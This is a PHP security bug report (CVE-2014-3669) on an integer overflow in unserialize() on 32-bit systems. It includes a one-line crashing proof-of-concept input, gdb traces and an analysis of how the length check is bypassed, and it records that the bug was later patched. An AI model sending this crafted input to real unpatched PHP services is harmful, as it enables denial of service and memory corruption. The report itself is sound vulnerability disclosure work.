Integer overflow in unserialize() (32-bits only)
| Sec Bug #68044 | Integer overflow in unserialize() (32-bits only) | ||||
|---|---|---|---|---|---|
| Submitted: | 2014-09-18 13:55 UTC | Modified: | 2014-10-14 17:41 UTC | ||
| From: | symeon dot paraschoudis at htbridge dot com | Assigned: | |||
| Status: | Closed | Package: | Reproducible crash | ||
| PHP Version: | 5.5.17 | OS: | Ubuntu 14.04.1 LTS 32bit | ||
| Private report: | No | CVE-ID: | 2014-3669 | ||
[2014-09-18 13:55 UTC] symeon dot paraschoudis at htbridge dot com
Description:
------------
PoC
======================================
<?php
unserialize('C:3:"GMP":18446744075857035259:{}');
?>
Result
======================================
gdb$ r poc.php
Starting program: /home/user/Desktop/php-5.5.17/sapi/cli/php poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x3510DAB3 EBX: 0xB510C74C ECX: 0x3510DAB4 EDX: 0xBFFFBA88 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB918 ESP: 0xBFFFB918 EIP: 0x0850505F
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax]
0x8505062 <finish_nested_data+19>: cmp al,0x7d
.... snip ....
--------------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356 if (*((*p)++) == '}')
gdb$ bt
#0 0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
#1 0x085051bb in object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:387
#2 0x085062cb in php_var_unserialize (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:738
#3 0x084f264a in zif_unserialize (ht=0x1, return_value=0xb510c74c, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0x0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var.c:965
#4 0x0862eeda in zend_do_fcall_common_helper_SPEC (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:550
#5 0x08633b66 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:2332
#6 0x0862e411 in execute_ex (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:363
#7 0x0862e4cf in zend_execute (op_array=0xb510cff0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:388
#8 0x085f1f1d in zend_execute_scripts (type=0x8, tsrm_ls=0x8c81338, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.5.17/Zend/zend.c:1330
#9 0x08556b7e in php_execute_script (primary_file=0xbfffeee4, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/main/main.c:2506
#10 0x0869dee7 in do_cli (argc=0x2, argv=0x8c812a0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:994
#11 0x0869f279 in main (argc=0x2, argv=0x8c812a0) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:1378
Analysis
=============================== 32bit case ============================
File var_unserializer.c, line 365:
static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
long datalen;
datalen = parse_iv2((*p) + 2, p);
(*p) += 2;
if (datalen < 0 || (*p) + datalen >= max) {
zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p)));
return 0;
}
... snip ...
(*p) += datalen;
return finish_nested_data(UNSERIALIZE_PASSTHRU);
}
Initially we set a breakpoint at the previous if statement and examine the values.
Breakpoint 1, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373 if (datalen < 0 || (*p) + datalen >= max) {
gdb$ ptype datalen
type = long
gdb$ print sizeof(datalen)
$1 = 0x4
gdb$ print datalen
$2 = 0x7ffffffb
gdb$ p/d datalen
$3 = 2147483643 <-- Decimal value of datalen
gdb$ p/x datalen + 5
$4 = 0x80000000
gdb$ p/d datalen + 5
$5 = -2147483648 <-- overflow on 32bits systems
The addition of datalen with any value greater or equal to 5 will overflow the integer.
This is due to the fact that the size of a long is the same as an integer.
Let's examine the current decimal max, (*p) and (*p) + datalen values:
gdb$ p/d max
$6 = 3037780665
gdb$ p/d (*p)
$7 = 3037780664 <-- Less than max but big enough to overflow datalen
gdb$ p/d (*p) + datalen
$8 = 890297011 <-- overflown value
gdb$ p/x (*p) + datalen
$9 = 0x3510dab3
Consequently, 890297011 is indeed less than max (3037780665) which means that the
above if statement is false. We continue the execution and we end up here:
Breakpoint 2, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:385
385 (*p) += datalen;
gdb$ step
--------------------------------------------------------------------------[regs]
EAX: 0xBFFFBA88 EBX: 0xB510C74C ECX: 0xBFFFB8C8 EDX: 0x3510DAB3 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB958 ESP: 0xBFFFB920 EIP: 0x08505194
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x8505194 <object_custom+288>: mov eax,DWORD PTR [ebp+0x18]
0x8505197 <object_custom+291>: mov DWORD PTR [esp+0x10],eax
... snip ...
... snip ...
--------------------------------------------------------------------------------
387 return finish_nested_data(UNSERIALIZE_PASSTHRU);
gdb$ print *p
$10 = (const unsigned char *) 0x3510dab3 <error: Cannot access memory at address 0x3510dab3>
As expected *p pointer now points to invalid memory address and continuing the execution
we are going to dereference this address and eventually crash.
gdb$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x3510DAB3 EBX: 0xB510C74C ECX: 0x3510DAB4 EDX: 0xBFFFBA88 o d I t s z A p C
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB918 ESP: 0xBFFFB918 EIP: 0x0850505F
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax]
0x8505062 <finish_nested_data+19>: cmp al,0x7d
... snip ....
0x8505073 <finish_nested_data+36>: ret
--------------------------------------------------------------------------------
0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356
356 if (*((*p)++) == '}')
=============================== 64bit case ============================
Breakpoint 1, object_custom (rval=0x7fffffffaa30, p=0x7fffffffaa50, max=0x7ffff1268bf1 "", var_hash=0x7fffffffaa48, ce=0x154b7f0) at /home/symeon/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373
373 if (datalen < 0 || (*p) + datalen >= max) {
gdb$ print sizeof(datalen)
$1 = 0x8
gdb$ print datalen
$2 = 0x7ffffffb
gdb$ p/d datalen
$3 = 2147483643
gdb$ p/x datalen + 5
$4 = 0x80000000
gdb$ p/d datalen + 5
$5 = 2147483648 <--- No overflow
gdb$ p/d max
$6 = 140737239223281
gdb$ p/d (*p) + datalen
$7 = 140739386706923
On a 64-bit machine the sum of (*p) + datalen is calculated correctly and as 140739386706923 is greater
than max (140737239223281) we jump into the if statement and get this warning:
gdb$ c
Warning: Insufficient data for unserializing - 2147483643 required, 1 present in /home/symeon/Desktop/poc.php on line 2
[Inferior 1 (process 8693) exited normally]
Patches
overflow-fix (last revision 2014-09-28 21:26 UTC by stas@php.net)Pull Requests
History
AllCommentsChangesGit/SVN commits
[2014-09-25 07:41 UTC] symeon dot paraschoudis at htbridge dot com
[2014-09-28 21:07 UTC] stas@php.net
[2014-09-29 05:33 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2014-3669
[2014-10-14 17:42 UTC] stas@php.net
-Status: Open +Status: Closed